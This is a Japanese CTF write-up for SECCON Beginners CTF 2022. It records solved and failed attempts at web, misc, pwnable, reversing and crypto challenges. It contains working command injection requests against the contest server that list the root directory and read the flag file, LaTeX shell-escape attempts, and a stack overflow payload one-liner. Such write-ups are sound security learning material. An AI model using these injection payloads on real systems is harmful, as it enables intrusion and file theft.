SECCON Beginners CTF 2022 Writeup

# 概要

SECCON Beginners CTF 2022 に参加した。軽い気持ちで参加したけど思ったより楽しくて夢中になってしまった。ちゃんと解けるようになりたい。

せっかくなので解きながら書いたものを残しておく。Writeupと書きつつ解けていないやつもある。

https://www.seccon.jp/2022/seccon_beginners/content.html

# 環境

- macOS Monterey
- Docker Desktop v3.5.2
- Google Chrome v102.0.5005.61
- Wireshark v3.4.2

# web
## ✅ Util

- [EchoのBindでクエリとパスパラメータを構造体に入れる方法](https://zenn.dev/skanehira/articles/2020-09-19-go-echo-bind-tips)
- [ローカルで log を出しつつ動作を探った](https://github.com/ktoyod/gowebapp/search?q=log)
- [【 fold 】コマンド――テキストを指定した幅で改行して出力する：Linux基本コマンドTips（165） - ＠IT](https://atmarkit.itmedia.co.jp/ait/articles/1712/07/news013.html)
- [tr コマンド | コマンドの使い方(Linux) | hydroculのメモ](https://hydrocul.github.io/wiki/commands/tr.html)


コードを見るとコマンドインジェクションできそうな感じだった。

```go
result, _ := exec.Command("sh", "-c", commnd).CombinedOutput()
```

Dockerfile 見るとファイル名もランダムにしていそうだったので、とりあえずルート直下のファイル一覧を見てファイル名を割り出し、その後ファイルの中身を取るという手順でゲットした。

```dockerfile
RUN echo "ctf4b{xxxxxxxxxxxxxxxxxx}" > /flag_$(cat /dev/urandom | tr -dc "a-zA-Z0-9" | fold -w 16 | head -n 1).txt
```

後ブラウザから行くと js でIPアドレスのバリデーションされてたからコマンドラインから直接 POST リクエストを送るようにした。

```sh
curl -XPOST -H'Content-Type:application/json' -d'{"address":"127.0.0.1 >/dev/null && ls /"}' https://util.quals.beginners.seccon.jp/util/ping
# => {"result":"app\nbin\ndev\netc\nflag_A74FIBkN9sELAjOc.txt\nhome\nlib\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n"}
curl -XPOST -H'Content-Type:application/json' -d'{"address":"127.0.0.1 >/dev/null && cat /flag_A74FIBkN9sELAjOc.txt"}' https://util.quals.beginners.seccon.jp/util/ping
# => {"result":"ctf4b{al1_0vers_4re_i1l}\n"}
```

## ❌ textex

- [新しい LuaTeX だって \write18 したい - マクロツイーター](https://zrbabbler.hatenablog.com/entry/20160210/1455114219)

だめだった奴ら

```tex
% 多分 -shell-escape オプションが必要
\input{""}
```

```tex
% 多分 -shell-escape オプションが必要
\input{|"ls"}
```

```tex
% 謎
\verbatimtabinput{../../requirements.txt}
```

```tex
\write18{date}
```

```tex
\pdf@system{date}
```

```tex
\documentclass{article}
\usepackage{iexec}
\begin{document}

\iexec{date/T}

\end{document}
```

## ❌ gallery

以下の様にパスパラメータを付けて flag ファイルの名前を取得するところまでは行けた（flag は除去されるが fla は除去されない＆ファイル名に該当文字列が含まれていれば表示される）

```go
	res := make([]string, 0, len(files))
	for _, file := range files {
		if !strings.Contains(file.Name(), fileExtension) {
			continue
		}
		res = append(res, file.Name())
	}
```

```
https://gallery.quals.beginners.seccon.jp/?file_extension=fla
```

得られたパス

```
https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf
```

サーバ上のファイルサイズが大きすぎるようで、?で最大サイズまでパティングされてしまう。どうやって回避すればよいのか謎すぎる

ダメ元で ftp 接続しようとしたがだめ。

なんか見落としてるのか...

=> HTTP Range Requests を使うらしい。知らなかった。。。

参考: [SECCON Beginners CTF 2022 作問者writeup - Qiita](https://qiita.com/task4233/items/9b4f7bcf52cc87a9c7ad)


# misc
## ❌ phisher

- [ホモグラフ攻撃 - Wikipedia](https://ja.wikipedia.org/wiki/%E3%83%9B%E3%83%A2%E3%82%B0%E3%83%A9%E3%83%95%E6%94%BB%E6%92%83)
- [【pyocr】tesseract-ocr 日本語やロシア語など多言語を簡単にインストールする - Geek Travel Inc.](https://syachikuai.com/2019/07/28/python-ocr-photo-to-text/)
- [README.md · master · World / OpenPaperwork / pyocr · GitLab](https://gitlab.gnome.org/World/OpenPaperwork/pyocr/-/blob/master/README.md)

`exmpale` -> `examp1e` の様に違う文字だけど正しい文字の様に見せかける攻撃をホモグラフ攻撃って言うっぽい。

今回の問題についても、`www.example.com` っぽく見えるけどぜんぜん違う文字列で構成された FQDN を送り込む事によって flag が得られるっぽい。

送信されてきた文字列を画像化してそれを OCR した結果を `www.example.com` と比較して、一致したら送られてきた文字列に `www.example.com` に含まれる文字が含まれるかを確認、含まれなかったら flag がゲットできる。

やったこと

- `ttl` ファイル（フォントが書かれているファイル）を見てみた
- 何文字か入力してどんなふうに読み取られるのか試してみた -> ランダムに試していっても溶けなさそう

`www.example.com` の画像から逆に別言語の文字列に変換してみる

```sh
# 以下でいろいろな言語の OCR ができるようになる
apt-get install tesseract-ocr tesseract-ocr-all
```

```python
>>> import string
>>> import cv2 as cv
>>> import numpy as np
>>> from PIL import ImageFont, ImageDraw, Image
>>> tool = pyocr.get_available_tools()[0]
>>> image = 'phish/KhbVIBcnrDjfMzG.png'
>>> text = tool.image_to_string(Image.open(image), lang="eng")
>>> text = tool.image_to_string(Image.open(image), lang="rus")
>>> text
'млигу/.ехатре.сопт'
>>> tool.image_to_string(Image.open(image), lang="jpn")
'wwW.exaimple。com1'
>>> tool.image_to_string(Image.open(image), lang="deu")
'www.example.com'
>>> tool.image_to_string(Image.open(image), lang="fra")
'AUOUR E LR'
>>> tool.image_to_string(Image.open(image), lang="yor")
'www.ekample.com'
>>> tool.image_to_string(Image.open(image), lang="grc")
'Δ Δ Ξ 1}: 4.}}}}'

# 全種類試してみる
>>> from phisher import text2png, ocr
>>> for lang in langs:
...     try:
...         text = tool.image_to_string(Image.open(image), lang=lang)
...         new_text = ocr(text2png(text))
...         print(f"{lang}: {new_text}")
...         if new_text == 'www.example.com':
...             print(f'-----------------------> {lang}!!!')
...     except:
...         pass
... 
```

<details>
<summary>結果</summary>
  
<pre><code>

Arabic: www.example.com
-----------------------> Arabic!!!
Armenian: MCE aE
Bengali: Www.example.com
Canadian_Aboriginal: www.example.com
-----------------------> Canadian_Aboriginal!!!
Cherokee: www.example.com
-----------------------> Cherokee!!!
Cyrillic: AYT
Devanagari: www.example.com
-----------------------> Devanagari!!!
Ethiopic: PTT
Fraktur: www.example.com
-----------------------> Fraktur!!!
Georgian: www.example.com
-----------------------> Georgian!!!
Greek: eG ire
Gujarati: www.example.com
-----------------------> Gujarati!!!
Gurmukhi: NAR EL LRCIL
HanS: www.example.com
-----------------------> HanS!!!
HanS_vert: www.example.com
-----------------------> HanS_vert!!!
HanT: WAES Cu
HanT_vert: Pw eee
Hangul: AAO E11 M11)
Hangul_vert: Www.example.com
Hebrew: www.example.com
-----------------------> Hebrew!!!
Japanese: ???????????????
Japanese_vert: www.example.com
-----------------------> Japanese_vert!!!
Kannada: www.example.com
-----------------------> Kannada!!!
Khmer: www.example.com
-----------------------> Khmer!!!
Lao: www.example.com
-----------------------> Lao!!!
Latin: AAAS E LRT
Malayalam: www.example.com
-----------------------> Malayalam!!!
Myanmar: www.example.com
-----------------------> Myanmar!!!
Oriya: www.example.com
-----------------------> Oriya!!!
Sinhala: PN tne
Syriac: UU ASE Rd
Tamil: www.example.com
-----------------------> Tamil!!!
Telugu: www.example.com
-----------------------> Telugu!!!
Thaana: www.example.com
-----------------------> Thaana!!!
Thai: www.example.com
-----------------------> Thai!!!
Tibetan: www.example.com
-----------------------> Tibetan!!!
Vietnamese: www.example.com
-----------------------> Vietnamese!!!
afr: www.example.com
-----------------------> afr!!!
amh: NTE) HOTTA
asm: ee >Re
aze: vrvvvr.example.
aze_cyrl: vrvvvr.example.
bel: ynim.exaTpie.co
ben: 0/1/1,059111916
bod: 4,7210
bos: www.example.com
-----------------------> bos!!!
bre: ok teh ama em
bul: ee
cat: viV.example.com
ceb: www.example.com
-----------------------> ceb!!!
ces: AAA ela lose
chi_sim: www.exambple.co
chi_sim_vert: ???????????????
chi_tra: Wwww,.examiple,
chi_tra_vert: Feel 8
chr: ???????????????
cos: www.example.com
-----------------------> cos!!!
cym: www.example.com
-----------------------> cym!!!
dan: www.example.com
-----------------------> dan!!!
deu: www.example.com
-----------------------> deu!!!
div: \¥/#¥#¥/# 01111
dzo: Av et
ell: Ko o) rrw],
eng: www.example.com
-----------------------> eng!!!
enm: www.example.com
-----------------------> enm!!!
epo: www.example.com
-----------------------> epo!!!
est: www.example.com
-----------------------> est!!!
eus: UUA GOTZI ZIO
fao: www.example.com
-----------------------> fao!!!
fas: NANI AN
fil: www.example.com
-----------------------> fil!!!
fin: www.example.com
-----------------------> fin!!!
fra: AUOURELR
frk: www.example.com
-----------------------> frk!!!
frm: URS ETTTR
fry: www.example.com
-----------------------> fry!!!
gla: www.example.com
-----------------------> gla!!!
gle: www.example.com
-----------------------> gle!!!
glg: www.example.com
-----------------------> glg!!!
grc: A A = 1}: 4.}}}
guj: O/0/00# 8000101
hat: www.example.com
-----------------------> hat!!!
heb: ???????????????
hin: ee Cun
hrv: www.example.com
-----------------------> hrv!!!
hun: www.example.com
-----------------------> hun!!!
hye: ???????????????
iku: Ny aD)
ind: www.example.com
-----------------------> ind!!!
isl: www.example.com
-----------------------> isl!!!
ita: www.example.com
-----------------------> ita!!!
ita_old: www.example.com
-----------------------> ita_old!!!
jav: wuww.ekample.co
jpn: wwW.exaimple, co
jpn_vert: JIbrT=cs
kan: 1101 11.0(05730
kat: | hh el BD) ee
kat_old: ???????????????
kaz: ay Cs
khm: NVA S23 NTN
kir: MTMrM.,exaTp!e.
kmr: www.example.com
-----------------------> kmr!!!
kor: 12212. 00127
kor_vert: ???????????????
lao: O00?) oo],
lat: www.example.com
-----------------------> lat!!!
lav: www.example.com
-----------------------> lav!!!
lit: www.example.com
-----------------------> lit!!!
ltz: dE ET IEN
mal: ee
mar: NNT) Mn
mkd: mMusiuMexaTtp!e.coT
mlt: www.example.com
-----------------------> mlt!!!
mon: a bai a) tg oT
mri: www.ekample.com
msa: ag |
mya: 42 in. (0. |
nep: 1010 1110
nld: www.example.com
-----------------------> nld!!!
nor: www.example.com
-----------------------> nor!!!
oci: www.example.com
-----------------------> oci!!!
ori: 111418 -)€[
osd: MUNI Tia) JMC a
pan: LOA
pol: www.example.com
-----------------------> pol!!!
por: www.example.com
-----------------------> por!!!
pus: ???????????????
que: www.example.com
-----------------------> que!!!
ron: www.example.com
-----------------------> ron!!!
rus: mnury/.exaTpe.c
san: 11////0~) (
sin: TA
slk: Www.example.com
slv: WP Cr aL |
snd: ???????????????
spa: www.example.com
-----------------------> spa!!!
spa_old: www.example.com
-----------------------> spa_old!!!
sqi: vrurur.example.
srp: MAMA ETO AKT
srp_latn: www.example.com
-----------------------> srp_latn!!!
sun: a a
swa: I
swe: www.example.com
-----------------------> swe!!!
syr: NCO ie
tam: ???????????????
tat: www.example.com
-----------------------> tat!!!
tel: ???????????????
tgk: SAL dL
tha: 00096110 [1
tir: 0(4-) + Till
ton: www.example.com
-----------------------> ton!!!
tur: www.example.com
-----------------------> tur!!!
uig: ???????????????
ukr: Lach (as
urd: NTT
uzb: www.example.com
-----------------------> uzb!!!
uzb_cyrl: www.example.com
-----------------------> uzb_cyrl!!!
vie: www.example.com
-----------------------> vie!!!
yid: ???????????????
yor: www.ekample.com
</code></pre>
</details>

すべて試してみたがアルファベットのものしかないのでアプローチが違いそう

=> フォントがわかっているので、Character Map を見てそれっぽい文字を探すらしい。

参考: [ctf4b_2022_satoki_writeups/misc/phisher at master · satoki/ctf4b_2022_satoki_writeups](https://github.com/satoki/ctf4b_2022_satoki_writeups/tree/master/misc/phisher)



## ✅ H2

- [Wireshark によるパケット解析講座 3 - Palo Alto Networks](https://www.paloaltonetworks.jp/company/in-the-news/2019/using-wireshark-identifying-hosts-and-users)

`main.go` ではサーバが実装されていて、URL が正しいときにだけ x-flag ヘッダーがつくっぽい。

pcap ファイルが含まれていておそらくこれが main.go サーバとの通信記録だろうということで Wireshark で見てみた。100万パケット以上あっておそらく隠されているだけだろうということでヘッダで絞ったら見つかった。

`http2.request.header contains "x-flags"`

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/193600/450ff954-73b2-09c4-dcbf-86f009b763c5.png)


## ✅ hitchhike4b

なんかよくわからんけどできた

```
help> __main__
Help on module __main__:

NAME
    __main__

DATA
    __annotations__ = {}
    flag1 = 'ctf4b{53cc0n_15_1n_m'

FILE
    /home/ctf/hitchhike4b/app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc.py


help> app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc
Help on module app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc:

NAME
    app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc

DATA
    flag2 = 'y_34r5_4nd_1n_my_3y35}'

FILE
    /home/ctf/hitchhike4b/app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc.py
```


# pwnable
## ❌ BeginnersBof

gdb の準備

```sh
apt update && apt install -y git
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
apt install -y gdb
```

gdb

```sh
disass main  # アセンブリコード表示
```

[詳解セキュリティコンテスト | 梅内翼, 清水祐太郎, 藤原裕大, 前田優人, 米内貴志, 渡部裕 | 工学 | Kindleストア | Amazon](https://www.amazon.co.jp/dp/B094J7ZCJN/ref=dp-kindle-redirect?_encoding=UTF8&btkr=1)を参考に以下を流し込むというところまでたどり着いたがうまく流し込めず...。

```sh
python3 -c "import sys; from struct import pack; sys.stdout.buffer.write(b'a'*0x28+pack('<QQ', 0xdeadbeef, 0x4011e6))"
```

# reversing
## ✅ Quiz

- [How to use strings command in Ubuntu](https://linuxhint.com/strings-ubuntu-command-use/)
- [Syscall Number for x86-64 linux (A)](https://www.mztn.org/lxasm64/x86_x64_table.html)

```sh
docker run -it -v $(pwd):/opt/app ubuntu:latest /bin/bash

# docker 内で
cd /opt/app
./quiz
# クイズの最後が strings コマンドだったのでヒントだと思った
apt update && apt install binutils
strings quiz
# => フラグゲット
```

## ❌ WinTLS

```sh
strings chall.exe |grep -e { -e }

# c4{fAPu8#FHh2+0cyo8$SWJH3a8X
# tfb%s$T9NvFyroLh@89a9yoC3rPy&3b}
```

## ❌ Recursive

```sh
docker run -v $(pwd):/opt/app ubuntu:latest /bin/bash

apt update && apt install -y build-essential binutils file git
apt install strace ltrace
apt install gdb
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
strings recursive
```

ぽい出力

```
# ==>
FLAG: 
%39s%*[^
Incorrect.
Correct!
:*3$"
ct`*f4(+bc95".81b{hmr3c/}r@:{&;514od*<h,n'dmxw?leg(yo)ne+j-{(`q/rr3|($0+5s.z{_ncaur${s1v5%!p)h!q't<=l@_8h93_woc4ld%>?cba<dagx|l<b/y,y`k-7{=;{&8,8u5$kkc}@7q@<tm03:&,f1vyb'8%dyl2(g?717q#u>fw()voo$6g):)_c_+8v.gbm(%$w(<h:1!c'ruv}@3`ya!r5&;5z_ogm0a9c23smw-.i#|w{8kepfvw:3|3f5<e@:}*,q>sg!bdkr0x7@>h/5*hi<749'|{)sj1;0,$ig&v)=t0fnk|03j"}7r{}ti}?_<swxju1k!l&db!j:}!z}6*`1_{f1s@3d,vio45<_4vc_v3>hu3>+byvq##@f+)lc91w+9i7#v<r;rr$u@(at>vn:7b`jsmg6my{+9m_-rypp_u5n*6.}f8ppg<m-&qq5k3f?=u1}m_?n9<|et*-/%fgh.1m(@_3vf4i(n)s2jvg0m4GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0
```


# crypto
## ✅ CoughtingFox
大した計算量にならなそうだったのでゴリ押し。 -> と思ってたけどアプローチは正しかったっぽい。

```python
import math


cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472]

flag = [0 for _ in range(len(cipher))]

for c in cipher:
    for i in range(len(cipher)):
        f = math.sqrt(c - i) - i
        fi = math.isqrt(c - i) -i
        if (f - fi) < 1e-5:
            flag[i] = int(f)
            continue

for f in flag:
    print(chr(f), end="")
```